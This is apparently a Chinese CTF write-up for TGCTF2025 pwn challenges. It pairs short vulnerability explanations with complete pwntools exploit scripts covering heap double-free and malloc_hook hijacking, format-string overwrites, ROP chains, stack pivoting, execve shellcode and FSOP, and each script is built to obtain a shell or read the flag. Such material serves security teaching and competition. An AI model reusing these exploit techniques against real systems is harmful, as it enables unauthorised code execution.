TGCTF2025-pwn-wp

TGCTF2025-pwn-wp

heap

菜单堆,只有 add 和 delete 函数,free 后未清空指针, 存在 uaf,size 最大为 0x80

主函数开始给了一个往 bss 段写的机会,change 也可以往 同一个 bss 段写,并输出出来

那么思路很通透了,在 bss 段伪造堆块,劫持 bss 段后,伪造 unsortbins 释放,利用 change 函数收到 libc 地址,接着劫持 malloc_hook 为 ogg,即可拿下 shell

img

2.23 版本 没什么检查 通过 double free 劫持到 bss 段上

python
def choose(x):
    sla(b"> ", tb(x))

def add(size,content="/bin/sh"):
    choose(1)
    choose(size)
    sa(b"> ", content)
    
def free(index):
    choose(2)
    choose(index)
  
def change(content):
    choose(3)
    sa(b"> ", content)
    
start()
bss_read=0x6020C0
chunk_list=0x6021a0


sa(b"> ",p64(0)+p64(0x61))
add(0x58)#0
add(0x58)#1
add(0x18)#2

free(0)
free(1)
free(0)
add(0x58,p64(bss_read))#3

add(0x58)#4
add(0x58)#5
add(0x58)#6
payload=p64(0)+p64(0x61)+b"\0"*0x50+p64(0)+p64(0xa1)
payload=payload.ljust(0xc0,b"\0")+p64(0)+p64(0x61)
change(payload)
free(6)

payload=flat([0,0x61,bss_read+0xc0])
change(payload)

add(0x58)
payload=flat([0,0,bss_read+0x10,0,0,0])
add(0x58,payload)

payload=flat([0x0,0x91,b"\0"*0x88,0x21,b"\0"*0x10,0,0x21])
change(payload)

free(0)


change(b"a"*0x10)
r(0x2b)
lb=u64(r(6).ljust(8,b"\0"))-0x3c4b78
one_gadgets = [
    0x4527a, # [0]: execve("/bin/sh", rsp+0x30, environ) 
    0xf03a4, # [1]: execve("/bin/sh", rsp+0x50, environ) 
    0xf1247, # [2]: execve("/bin/sh", rsp+0x70, environ) 
] # python List of one_gadget
one=one_gadgets[2]+lb

change(p64(0)+p64(0x91))
add(0x68)
free(0)
payload=flat([0,0x71,lb+0x3c4aed])
change(payload)
add(0x68)

payload=b"\0"*0x13+p64(one)
add(0x68,payload)
choose(1)
choose(0x20)

ia()

fmt

格式化字符串漏洞,magic 限制了返回时再次利用 fmt 的机会,这里为了不改变 magic 的值,返回构造二次读入,应泄露 libc 的同时,修改 printf 的返回地址为 _start,防止出现堆栈平衡问题,拿到 libc 地址后,二次读入直接修改返回地址为 ogg 即可直接拿到 shell

(直接爆破 3 字节也未尝不可,爆就完了)

img
python
start()
one_gadgets = [
    0xe3afe, # [0]: execve("/bin/sh", r15, r12) 
    0xe3b01, # [1]: execve("/bin/sh", r15, rdx) 
    0xe3b04, # [2]: execve("/bin/sh", rsi, rdx) 
] # python List of one_gadget
ru(b"your gift ")
stack=rx()
lg(stack)
aim=stack-8
ret=0x4010D0

r()
payload=b"%10$n%19$p"
payload+=b"%"+str(ret-14).encode()+b"c%11$n"
payload=payload.ljust(0x20,b"\0")
payload+=p64(aim+4)
payload+=p64(aim)
debug(0x401271,"c") 
s(payload)

lb=int(r(14),16)-0x24083
one=lb+one_gadgets[1]

ru(b"your gift ")
stack1=rx()

aim=stack1+0x68
val1 = (one & 0xff)
val2 = ((one >> 8) & 0xffff)
# payload=b"%"+str(one&0xf).encode+b"c%10$hhn"
payload=f"%{val1}c%10$hhn".encode()

payload += f"%{val2 - val1}c%11$hn".encode()

# payload+=b"%"+str((one>>4)&0xff-one&0xf).encode+b"c%11$hn"
payload=payload.ljust(0x20,b"\0")
payload+=p64(aim)
payload+=p64(aim+1)
s(payload)

ia()

onlygets

是道原题,通过多次 gets 在 bss 段构造 rop 链,将 gets 地址 存放在 rbx 中,再存到栈上,控制 rsi 为偏移,利用 add_ebx_esi 拿到 ogg 的后四位,栈不需要对齐,接着将 offset+4,取到存在栈上的高四位,即可在寄存器中存放真实的 ogg 地址,接着控制执行流到 ogg 即可

python
#!/usr/bin/env python3
#iamorange
from pwn import *
import struct
from ctypes import cdll
#--------Common command abbreviation---------------
#--------------------------------------------------
filename='./vuln'   
libcFile = '/lib/x86_64-linux-gnu/libc.so.6'
context(arch='amd64',os='linux',log_level='debug')
#------------------------------------------------
elf=ELF(filename)
libc = ELF(libcFile) 

io = process(['./vuln'],env={"LD_PRELOAD":"./TGCTF.so"})

g = lambda x: next(elf.search(asm(x)))
one_gadgets = [
    0xebc81, # [0]: execve("/bin/sh", r10, [rbp-0x70]) 
    0xebc85, # [1]: execve("/bin/sh", r10, rdx) 
    0xebc88, # [2]: execve("/bin/sh", rsi, rdx) 
    0xebce2, # [3]: execve("/bin/sh", rbp-0x50, r12) 
    0xebd38, # [4]: execve("/bin/sh", rbp-0x50, [rbp-0x70]) 
    0xebd3f, # [5]: execve("/bin/sh", rbp-0x50, [rbp-0x70]) 
    0xebd43, # [6]: execve("/bin/sh", rbp-0x50, [rbp-0x70]) 
] # python List of one_gadget
system_offset = libc.symbols['system']
gets_offset = libc.symbols['gets']
offset = one_gadgets[6] - gets_offset
if offset < 0:
    offset &= 0xffffffff
gets_plt = elf.plt['gets']
gets_got = elf.got['gets']
libc_csu_init = elf.symbols['__libc_csu_init']
pop_rsp_r13_r14_r15_ret = g('pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret')
pop_rbp_ret = g('pop rbp ; ret')
pop_rdi_ret = g('pop rdi ; ret')
pop_r15_ret = g('pop r15 ; ret')
pop_rsi_r15_ret = g('pop rsi ; pop r15 ; ret')
pop_rbp_r14_r15_ret = g('pop rbp ; pop r14 ; pop r15 ; ret')
pop_rbx_rbp_r12_r13_r14_r15_ret = g('pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret')
add_ebx_esi_ret = g('add ebx, esi ; ret')
leave_ret = g('leave ; ret')
call_at_r12 = g('call QWORD PTR [r12+rbx*8]')
# gdb.attach(p)
bss = 0x602000-8
buf1 = bss - 0x100
buf2 = bss - 0x200
buf3 = bss - 0x300
buf4 = bss - 0x400
buf5 = bss - 0x500
buf6 = bss - 0x600
buf7 = bss - 0x700
buf8 = bss - 0x800
rop1 = [
    pop_rdi_ret, buf1, gets_plt, # rop2
    pop_rdi_ret, buf2, gets_plt, # rop4
    pop_rdi_ret, buf3, gets_plt, # rop5
    pop_rdi_ret, buf4, gets_plt, # rop7
    pop_rdi_ret, buf5, gets_plt, # rop9
    pop_rdi_ret, buf6, gets_plt, # rop10
    pop_rdi_ret, buf7, gets_plt, # rop13
    pop_rbp_ret, buf1 - 8, leave_ret
]
rop2 = [ # buf1
    pop_rdi_ret, gets_got + 24, gets_plt, # rop3
    pop_rbp_ret, buf2 - 8,
    pop_rsp_r13_r14_r15_ret, gets_got
]
rop3 = [ # gets_got + 24
    leave_ret
]
rop4 = [ # buf2
    libc_csu_init,
    pop_rbp_ret, buf3 - 8, leave_ret
]
rop5 = [ # buf3
    pop_rdi_ret, buf2 - 24, gets_plt, # rop6_1
    pop_rdi_ret, buf2 + 32, gets_plt, # rop6_2
    pop_rbp_ret, buf2 - 24 - 8, leave_ret
]
rop6_1 = [ # buf2 - 24
    pop_rbx_rbp_r12_r13_r14_r15_ret
]
rop6_2 = [ # buf2 + 32
    pop_rsi_r15_ret, offset, 8,
    add_ebx_esi_ret,
#    0xdeadbeef,
    libc_csu_init,
    pop_rbp_ret, buf4 - 8, leave_ret
]
rop7 = [ # buf4
    pop_rdi_ret, gets_got + 28, gets_plt, # rop8
    pop_rbp_ret, buf5 - 8,
    pop_rsp_r13_r14_r15_ret, gets_got + 4
]
rop8 = [ # gets_got + 28
    leave_ret
]
rop9 = [ # buf5
    libc_csu_init,
    pop_rbp_ret, buf6 - 8, leave_ret
]
rop10 = [ # buf6
    pop_rdi_ret, buf5 - 24, gets_plt, # rop11_1
    pop_rdi_ret, buf5 + 32, gets_plt, # rop11_2
    pop_rbp_ret, buf5 - 24 - 8, leave_ret
]
rop11_1 = [ # buf5 - 24
    pop_rbx_rbp_r12_r13_r14_r15_ret
]
rop11_2 = [ # buf5 + 32
    pop_rdi_ret, buf2 + 68, gets_plt, # rop12
    pop_rbp_ret, buf2 + 68 - 8, leave_ret
]
rop12 = [ # buf2 + 164
    libc_csu_init,
    pop_rbp_ret, buf7 - 8, leave_ret
]
rop13 = [
    pop_rdi_ret, buf8, gets_plt, # shell command
    pop_rdi_ret, buf8,
    pop_rbx_rbp_r12_r13_r14_r15_ret, 0, bss, buf2 + 24, 0, 0, 0,
    call_at_r12
]
payload = (
    b'A' * 24 +
    b''.join(map(p64, rop1)) + b'\n' +
    b''.join(map(p64, rop2)) + b'\n' +
    b''.join(map(p64, rop4)) + b'\n' +
    b''.join(map(p64, rop5)) + b'\n' +
    b''.join(map(p64, rop7)) + b'\n' +
    b''.join(map(p64, rop9)) + b'\n' +
    b''.join(map(p64, rop10)) + b'\n' +
    b''.join(map(p64, rop13)) + b'\n' +
    b''.join(map(p64, rop3))[:-1] + b'\n' +
    b''.join(map(p64, rop6_1))[:-1] + b'\n' +
    b''.join(map(p64, rop6_2)) + b'\n' +
    b''.join(map(p64, rop8)) + b'\n' +
    b''.join(map(p64, rop11_1))[:-1] + b'\n' +
    b''.join(map(p64, rop11_2)) + b'\n' +
    b''.join(map(p64, rop12)) + b'\n' +
    b'sh\n'
)
io.send(payload)
io.interactive()

自己搓链子,这里参考 0xa6 师傅的 exp

思路

1.通过栈迁移将 rbp,rsp 迁移到一段空的 bss 段上

2.通过返回 start 往这段内容里 push 很多可用地址

3.通过劫持_rtld_global 后调用调用__libc_start_main 控制

__libc_start_main 退出函数调用利用的是_rtld_global 该结构体内的地址作计算

img
python
from pwn import *
libc = ELF("./libc.so.6")
context(os='linux', arch='amd64')
io = remote("node2.tgctf.woooo.tech",30462)
#io = process("./vuln")

#context.log_level = 'debug'
def debug():
    gdb.attach(io)
bss = 0x601550
payload = b'a' * 0x10 + p64(bss) + p64(0x4005E5)
rdi = 0x400663
ret = 0x400664
io.sendline(payload)
payload = b'a' * 0x10 + p64(bss) + p64(0x400480)
sleep(1)
io.sendline(payload)
sleep(1)
payload = b'a' * 0x10 + p64(0x6014c0) + p64(0x4005E5)
io.sendline(payload)
sleep(1)

payload = p64(0x4005F1) + p64(0) + p64(0x601460) + p64(0x4005FB)
io.sendline(payload)
sleep(1)
payload = b'b' * 0x10 + p64(0x6014a0) + p64(ret) * 6 + p64(rdi)[:7]
io.sendline(payload)
sleep(1)

payload = p64(0x601290)
io.sendline(payload)
sleep(1)
payload = b'a' * 0x10 + p64(0x6012a0) + p64(0x4005E5)
io.sendline(payload)
sleep(1)
#debug()
payload = (p64(-293 - libc.sym["gets"] + 0xebd3f) + p64(0) + p64(0) + p64(0x40065A) + p64(0) + p64(0x6010a0) + p64(0x6014f8) + p64(0) * 3 + p64(0x400649)).ljust(0xa0, b'\x00') + p64(0x601468)
io.sendline(payload)
#0x7ffff7ffd040
io.interactive()

shellcode

清空寄存器,0x12 字节的 shellcode,没什么好说的 rdi 存放执行地址

z80
payload=asm("""
            lea rdi,[rdi+0x8]
            mov al,59
            syscall
            """)+b"/bin/sh\0\0"

签到

简单的ret2libc,利用栈溢出漏洞泄露出puts函数的真实地址,再由此计算出libc基地址,得到system函数的地址和binsh地址,再次利用栈溢出执行system("/bin/sh’)

plain
offset=0x78

main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

rdi=0x0000000000401176
ret=0x000000000040101a

payload=b'a'*(offset)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

sla(" please leave your name.",payload)

puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

libc_base=puts_addr-libc.sym['puts']

sys_addr=libc_base+libc.sym['system']
binsh_addr=next(libc.search(b'/bin/sh'))+libc_base


payload=b'a'*(offset)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(sys_addr)
sla("please leave your name.",payload)

ia()

stack

img

第一次read可修改数据段上的内容,

img
img
img

注意到这个函数,参数fd,buf,count,qword_4040a0都是可由第一次read控制的

img

修改参数qword_4040a0=0x3b,fd为binsh地址,buf,count都为0,

再经过第二次read的栈溢出漏洞利用,修改返回地址为此函数地址,就会执行execve('/bin/sh',0,0)

python
binsh=0x0000000000404108
addr=0x00000000004011FA

sla("name?\n",b'a'*0x40+p64(0x3b)+p64(binsh)+p64(0)+p64(0)*9)
payload=b'a'*0x48+p64(0x00000000004011be)
sla('say?\n',payload)

ia()

overflow

先用ropchain自动生成rop链,

img

read可向bss段上写内容,gets存在栈溢出

注意到call gets 后有这么一段指令

img

于是可以通过ebp-8处的内容来控制esp,再修改ecx的值,之后继续控制esp,利用retn控制返回地址

可以将自动生成的rop链写入bss段上,之后控制esp指向它,然后执行

img

bss=0x080EF320,将ebp-8处的内容修改为bss+8,

lea esp,[ebp-8]后,esp指向bss+8

pop ecx后,ecx=bss+8

lea esp,[ecx-4]后,esp的值为bss+4

read时在bss+4处写入自动生成的rop链,这样esp指向rop链,retn后即可执行rop链

python
p = pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x080b470a) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x08049802) # pop ecx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x08060bd1) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080507e0) # xor eax, eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08082bbe) # inc eax ; ret
p += pack('<I', 0x08049c6a) # int 0x80

bss=0x080EF320

payload=p32(bss)+p
sla("name?",payload)
#debug("b *0x80498c0")
payload = b'a'*0xc8+p32(bss+8)+p32(0)*2
sla("right?",payload)

ia()

Noret

溢出处0x100覆盖返回地址。

利用送的gadget构造`execve("/bin/sh",0,0)

将栈迁移到read输入处。

pop rcx; jmp qword ptr [rdx]pop rdx; jmp qword ptr [rcx]结合使用构造其他ROPgadget的返回地址。

使用add rax, rdx构造/bin/sh地址以及调用号0x3b,利用xchg rax,rdi将地址传递给rdi。利用mov rsi, [rcx+0x10]将rsi设为0,最后调用syscall。

python
def choose(x):
    sla(b'> ', tb(x))

sla(b'> ', b'4\0\0\0'+b'/bin/sh\x00')

stack_1 = uu64(7)

buf = stack_1 - 0x100
buf_bss = 0x40219C
choose(2)


xchg_di_ax_jax1 = 0x401000
mov_cx_di_jcx = 0x401005
xor_ax_jdx = 0x040100A
sp_di_cx_dx_jdi1 = 0x40100f
cx_or_jdx = 0x401016
mov_si_jdx = 0x40101b
dx_jcx = 0x401021
add_ax_dx_jcx = 0x401024
cx_jdx = 0x401029
syscall =0x040113D
ret = 0x401165 
jt_off = 0x110
jt_addr = buf + jt_off

payload = flat({
    0:[ jt_addr+8-1, 0x402800, jt_addr, 
        jt_addr+0x10-1, jt_addr, buf_bss+4 - 0x1d, 
        jt_addr+0x18-1, 0, jt_addr+0x20,
        jt_addr+0x28,jt_addr+0x20,       # 
        jt_addr+0x38, (0x3b - (jt_addr+0x18-1))&0xffffffffffffffff,
        add_ax_dx_jcx,
        dx_jcx,
        0,
        syscall,

       ],

}, filler=b'\x00')
payload = payload.ljust(0x100, b'\x00') + flat(sp_di_cx_dx_jdi1, buf, 
        sp_di_cx_dx_jdi1+1, 
        mov_si_jdx,
        add_ax_dx_jcx, 
        cx_jdx, dx_jcx,     # 0x18 0x20
        xchg_di_ax_jax1,    # 0x28
        xor_ax_jdx,         # 0x30
        ret,
        syscall)

sa(b'feedback: ',payload)

ia()

qheap

zig 和 c 混用堆,通过动态调试得知各个功能的作用

这里 ida 中太长就不做截图展示了

1.add1

输入 idx,size,content, idx 不能大于 7,并且 size 不能大于 0x100,当堆块分配成功后,会将将刚分配的堆块填满0xaa,再将刚分配的堆块清空,最后才会往堆块中写东西

2.delete1

输入 idx,free 对应堆快后会清空 chunk_list 的 size 位,但不清空指针

3.show

输入 idx,输出堆快中的内容,输出大小从 chunk_list[idx][8] 中获取

4.edit

输入 idx,content,从chunklist上根据idx获取heapaddr以及size

5.add2(隐藏)

zig 的 add 函数,利用 zig 中的函数创建的堆块,存在 ld 之上

堆块信息仍然会存在 chunk_list 上, 同 add1输入 idx,size,content, idx 不能大于 7,并且 size 不能大于 0x100,当堆块分配成功后,会将将刚分配的堆块填满0xaa,再将刚分配的堆块清空,最后才会往堆块中写东西

6.delete2(隐藏)

zig 的 free 函数,用于释放 zig 中创建的堆块,这里释放后,会将堆块填满 0xaa

漏洞点

zig分配的堆块信息(例如大小啥的)不会在堆块上记录,所以分配出来的堆块地址连续,并且返回的堆块地址是起始地址,这里我们可以从他返回的到chunk_list的堆块地址我们能看到,是堆块的起始地址

而Libc中返回的堆块地址是执行usr_data的

我们可以在第一个zig堆块末尾伪造pre size,size等信息

用Libc的free去释放他第二个由zig分配的堆块

就会把这块地址当作libc的堆块释放了

我们就可以直接malloc出来,任意改这一片了

拥有对这片区域任意改的能力后,直接劫持 stderr,打 apple2 即可

需要注意到:ld 和 libc 的偏移并不固定,这里我们需要爆破

python
def cmd(idx):
    sla(b'> ', str(idx).encode())    

def add1(idx, size, data):
    cmd(1)
    sla(b'Index: ', str(idx).encode())
    sla(b'Size: ', str(size).encode())
    sa(b'Data: ', data)

def delete1(idx):
    cmd(2)
    sla(b'Index: ', str(idx).encode())

def show(idx):
    cmd(3)
    sla(b'Index: ', str(idx).encode())

def edit(idx, data):
    cmd(4)
    sla(b'Index: ', str(idx).encode())
    sa(b'Data: ', data)

def add2(idx, sz, data):
    cmd(356781)
    ss()
    sl(b'1')
    ss()
    sl(str(idx).encode())
    ss()
    sl(str(sz).encode())
    ss()
    sl(data)
    ss()
    sl(b'4')

def delete2(idx):
    cmd(356781)
    ss()
    sl(b'2')
    ss()
    sl(str(idx).encode())
    ss()
    sl(b'4')

#----------------------------------------------  
#main script begin:
def main():
    start()

    add2(0,0x20,b"c"*0x18+p64(0x111))
    add2(1,0x20,b"b"*0x20)

    delete1(1)
    add1(1,0x100,b"a"*0x20) #victim


    add2(2,0x20,b"a"*0x18+p64(0x111))
    add2(3,0x20,b"a"*0x20)


    delete1(3)
    show(1)
    r(0x40)
    hb=u64(r(6).ljust(8,b'\x00'))<<12
    lg(hb)
    lb=hb-0x3fa000
    system=lb+libc.sym['system']
    _IO_wfile_jumps=lb+libc.sym['_IO_wfile_jumps']
    ret=lb+0x0000000000029139
    stderr=lb+0x21b6a0
    setcontext=lb+0x53a15+8
    rax=lb+0x0000000000045eb0
    rdi=lb+0x000000000002a3e5
    rdx_rbx=lb+0x00000000000904a9
    rsi=lb+0x000000000002be51
    syscall=0x0000000000091316+lb
    xor_rax=0x00000000000404f8+lb
    lg(lb)
    lg(stderr)

    aim=((hb+0x80)>>12)^stderr

    add1(4,0x100,b"a")
    add1(5,0x100,b"a")

    delete1(5)
    delete1(4)

    payload=flat([b"\0"*0x38,0x111,aim,0])
    edit(1,payload)


    fake_io = flat({
        0x0:0,#_flags
        0x28:1,#_IO_write_ptr
        0x68:setcontext,
        0x88:stderr,#_lock
        0xa0:stderr+8,#_wide_data
        0xa8:hb+0x40,#rsp
        0xb0:rax,#rcx
        0xd8:_IO_wfile_jumps,#vtable
        0xe0:stderr+0xe0+0x50,#set rsp
        0xe8:stderr,#_wide_data->vtable
    },filler=b'\x00')


   
    payload=fake_io

    add1(4,0x100,b"a")
    add1(4,0x100,payload)
    rop=flat([2,rdi,hb+0xd0,syscall,rdi,3,xor_rax,rsi,hb,rdx_rbx,0x100,0,syscall,rax,1,rdi,1,syscall])+b"/flag\0\0\0"



    edit(0,b"\0"*0x20)
    edit(1,rop)

  
    cmd(5)
    


while True:
    try:
        main() 
        ru("TGCTF")
        ia()
        break
    except:
        io.close()
img
kernel_入门